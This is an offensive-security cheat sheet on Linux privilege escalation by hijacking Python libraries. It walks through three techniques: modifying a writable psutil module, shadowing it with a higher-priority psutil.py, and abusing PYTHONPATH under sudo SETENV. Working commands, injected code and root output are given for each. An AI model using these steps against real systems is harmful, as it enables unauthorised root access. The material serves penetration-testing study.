# Python Library Hijacking

## Ways to hijack a python library

* Wrong write permissions
* Library path
* `PYTHONPATH` environment variable&#x20;

### Wrong Write Permissions

#### Sample Scenario

1. Assuming there is a binary that has a SUID set

   ```shell-session
   $ ls -l mem_status.py

   -rwsrwxr-x 1 root mrb3n 188 Dec 13 20:13 mem_status.py
   ```
2. This means we can read its contents, and execute this file as root. But we can't edit the file.
3. Reading the file, we can see that it imports the psutil library and it calls the function virtual\_memory

   ```python
   #!/usr/bin/env python3
   import psutil

   available_memory = psutil.virtual_memory().available * 100 / psutil.virtual_memory().total

   print(f"Available memory: {round(available_memory, 2)}%")
   ```
4. So we can look for this function in the folder of `psutil` and check if this module has write permissions for us

   ```shell-session
   $ grep -r "def virtual_memory" /usr/local/lib/python3.8/dist-packages/psutil/*

   /usr/local/lib/python3.8/dist-packages/psutil/__init__.py:def virtual_memory():
   /usr/local/lib/python3.8/dist-packages/psutil/_psaix.py:def virtual_memory():
   /usr/local/lib/python3.8/dist-packages/psutil/_psbsd.py:def virtual_memory():
   /usr/local/lib/python3.8/dist-packages/psutil/_pslinux.py:def virtual_memory():
   /usr/local/lib/python3.8/dist-packages/psutil/_psosx.py:def virtual_memory():
   /usr/local/lib/python3.8/dist-packages/psutil/_pssunos.py:def virtual_memory():
   /usr/local/lib/python3.8/dist-packages/psutil/_pswindows.py:def virtual_memory():


   $ ls -l /usr/local/lib/python3.8/dist-packages/psutil/__init__.py

   -rw-r--rw- 1 root staff 87339 Dec 13 20:07 /usr/local/lib/python3.8/dist-packages/psutil/__init__.py
   ```
5. View the function

   ```python
   ...SNIP...

   def virtual_memory():

   	...SNIP...
   	
       global _TOTAL_PHYMEM
       ret = _psplatform.virtual_memory()
       # cached for later use in Process.memory_percent()
       _TOTAL_PHYMEM = ret.total
       return ret

   ...SNIP...
   ```
6. Edit the function

   ```python
   ...SNIP...

   def virtual_memory():

       ...SNIP...
       #### Hijacking
       import os
       os.system('id')
   	

       global _TOTAL_PHYMEM
       ret = _psplatform.virtual_memory()
       # cached for later use in Process.memory_percent()
       _TOTAL_PHYMEM = ret.total
       return ret

   ...SNIP...
   ```
7. Run the script with sudo

   ```shell-session
   $ sudo /usr/bin/python3 ./mem_status.py

   uid=0(root) gid=0(root) groups=0(root)
   uid=0(root) gid=0(root) groups=0(root)
   Available memory: 79.22%
   ```

### Library Path

#### Sample Exploitation

1. Check the PYTHONPATH

   ```shell-session
   $ python3 -c 'import sys; print("\n".join(sys.path))'

   /usr/lib/python38.zip
   /usr/lib/python3.8
   /usr/lib/python3.8/lib-dynload
   /usr/local/lib/python3.8/dist-packages
   /usr/lib/python3/dist-packages
   ```
2. Two pre-requisites must be satisfied:
   1. The module imported by the script is in lower level priority
   2. We have write permissions on any script that has higher priority
3. Check default installation and we can see that it is in the lower priority

   ```shell-session
   $ pip3 show psutil

   ...SNIP...
   Location: /usr/local/lib/python3.8/dist-packages

   ...SNIP...
   ```
4. Check the higher priority PYTHONPATH if we can write there

   ```shell-session
   $ ls -la /usr/lib/python3.8

   total 4916
   drwxr-xrwx 30 root root  20480 Dec 14 16:26 .
   ...SNIP...
   ```
5. Since the conditions are satisfied, create a psutil.py on the directory in step4

   ```python
   #!/usr/bin/env python3

   import os

   def virtual_memory():
       os.system('id')
   ```
6. Run the python file that has the SUID set

   ```shell-session
   $ sudo /usr/bin/python3 mem_status.py
   ```

### PYTHONPATH

If SETENV: is in sudo -l , we can set environment variables under the context of the running program.

#### Sample Exploitation

1. Create a psutil.py in any directory (/tmp in this example)

   ```shell-session
   $ sudo PYTHONPATH=/tmp/ /usr/bin/python3 ./mem_status.py

   uid=0(root) gid=0(root) groups=0(root)
   ...SNIP...
   ```
